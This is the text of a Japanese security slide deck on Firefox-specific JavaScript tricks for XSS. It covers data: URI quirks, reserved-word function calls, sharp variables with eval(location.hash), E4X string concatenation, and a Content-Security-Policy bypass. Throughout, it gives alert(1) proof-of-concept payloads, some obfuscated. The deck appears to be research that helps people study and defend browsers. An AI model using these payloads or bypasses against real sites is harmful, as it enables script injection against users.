FIREFOX JS HACKS - UTF-8.jp

"フォクすけ" (C)
2006 Mozilla Japan
FIREFOX JS
HACKS
XSSで使えるかもしれないJavaScriptテクニック
はせがわようすけ
HACK
dataスキームで遊ぶ
#1
dataスキーム(RFC2397)
<a href=
"data:text/html,<html><div>hello</div></html>">
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2Ny
aXB0Pg==
HACK
dataスキームで遊ぶ
#1
Firefoxのdataスキームは柔軟すぎる
data:_,<script>alert(1)</script>
data:data:data:1,<script>alert(1)</script>
data:x;b as e6 4 0 0 0 0, PHN jcml wdD5hb G VydC
hkb %09 2N1bWVud %20 C 5kb21haW4pPC 9zY3JpcHQ +
全部うごく
HACK
予約語を関数名に
#2
function true() を呼びたい!
(function(){
function true(){alert('Call me');};
/* YOUR CODE */
})();
(function(){
function true(){alert('Call me');};
with(arguments.callee)function::['true']();
})();
HACK
Sharp
Variables
#3
"#" ではじまるJavaScriptが書ける
#1={},alert(1);
実行の痕跡がサーバ側に残らない
// http://example.jp/#1={},alert(1);
eval( location.hash ) // 19文字で任意のコード
HACK
文字列の連結
#4
E4Xによりプラス記号(+)を使わず文字列を連結
alert( <>{"abcd"}{"efgh"}</> ) // "abcdefgh"
HACK
Yet
another
eval
feature
#5
X-Content-Security-Policy: self;
eval( "alert(1)" );
// NG
setTimeout("alert(1)", 0 );// NG
Function("alert(1)")();
// NG
CSPでunsafe-inline指定なしのときでも
使える!
crypto.generateCRMFRequest(
'CN=0',0,0,null,
'alert(1)',
384,null,'rsa-dual-use'
); // OK
HACK
#6
Content-Security-Policyを破る
E4Xを使うとCSPを破ることができる
<div>//XSS here
<script src="self?q=</div></body></html>;
alert(1);<html><body><div>"></script>
</div>
<html>
<head>
<title>CSP test</title>
</head>
<body>
<div>
</div></body></html>;alert(1);<html><body><div></div>
</body>
</html>
valid JavaScript with E4X
参考文献
 oiram - Pastebin.com
http://pastebin.com/f690cd0db
 Fun with data: URLs
http://blog.kotowicz.net/2012/04/fun-with-data-urls.html
 Fun impossible Firefox JS challenge
https://mail.mozilla.org/pipermail/es-discuss/2012-April/022259.html
 HTML5 Security Cheatsheet
http://html5sec.org/
 Sharp variables in JavaScript - MDN
https://developer.mozilla.org/en/Sharp_variables_in_JavaScript
 Introduction of Content-Security-Policy in 5 minutes
http://utf-8.jp/public/20120327/owaspj-csp.pptx